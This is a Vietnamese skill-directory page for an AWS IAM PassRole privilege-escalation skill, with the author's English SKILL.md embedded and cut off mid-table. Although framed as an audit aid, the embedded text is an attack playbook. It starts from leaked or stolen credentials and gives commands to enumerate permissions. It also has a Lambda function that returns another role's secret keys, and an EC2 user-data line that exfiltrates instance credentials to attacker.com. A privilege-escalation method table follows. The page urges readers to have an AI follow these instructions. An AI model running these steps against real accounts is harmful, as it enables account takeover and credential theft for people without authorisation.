Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #13985

aws-iam-passrole-chain

Skill này làm gì

Skill này mô tả cách quyền PassRole và việc đảm nhận role có thể dẫn đến quyền cao hơn trong AWS. Skill dành cho kiểm toán viên và quản trị viên cloud rà soát cài đặt IAM trong tài khoản họ quản lý.

Khi nào nên dùng

  • ✓Khi một kiểm toán viên yêu cầu agent tìm người dùng nào có thể chuyển role mạnh cho các dịch vụ như Lambda hoặc EC2.
  • ✓Khi agent kiểm tra chính sách tin cậy của role cho phép đảm nhận role giữa các tài khoản.
  • ✓Khi một báo cáo cần giải thích cách cấp quyền PassRole có thể cho phép truy cập vượt quá những gì người dùng nên có.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Có người dùng kiểm thử nào trong tài khoản AWS được ủy quyền của chúng tôi có thể chuyển một role mạnh cho Lambda hoặc EC2 không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent đọc các chính sách có quyền PassRole, liệt kê các role chúng có thể chuyển, và kiểm tra những dịch vụ nào có thể chạy với các role đó.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacu — enum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth — repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu — iam__privesc_scan)

Method Required permission
CreateNewPolicyVersion iam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersion iam:SetDefaultPolicyVersion
CreateAccessKey iam:CreateAccessKey on a higher-priv user
CreateLoginProfile iam:CreateLoginProfile — log in as the target user via console
UpdateLoginProfile iam:UpdateLoginProfile — reset the target user's console password
AttachUserPolicy iam:AttachUserPolicy — attach AdministratorAccess to yourself
AttachGroupPolicy iam:AttachGroupPolicy
AttachRolePolicy iam:AttachRolePolicy
PutUserPolicy iam:PutUserPolicy — inline policy bypass
AddUserToGroup iam:AddUserToGroup — add yourself to admins
UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy — make a role assumable by you
PassExistingRoleToNewLambda iam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpoint as above for Glue
EditExistingLambdaFunctionWithRole lambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormation iam:PassRole + cloudformation:CreateStack
`PassExistingRoleToNewDataP
Câu hỏi thường gặp

iam:PassRole là gì?

Đó là quyền cho phép người dùng giao một role cho dịch vụ AWS, để dịch vụ hành động với quyền của role đó.

Vì sao đây là rủi ro?

Skill nói người dùng có thể chuyển role mạnh cho một dịch vụ có thể gián tiếp có quyền của role đó.

Skill có chỉ nói về tấn công không?

Không. Skill được viết cho rà soát được ủy quyền, và mục đích chính là tìm và gỡ các cấp quyền quá rộng.

Chi tiết

Mô tả gốc của tác giả

AWS IAM privilege escalation via `iam:PassRole` chains — Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13985
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự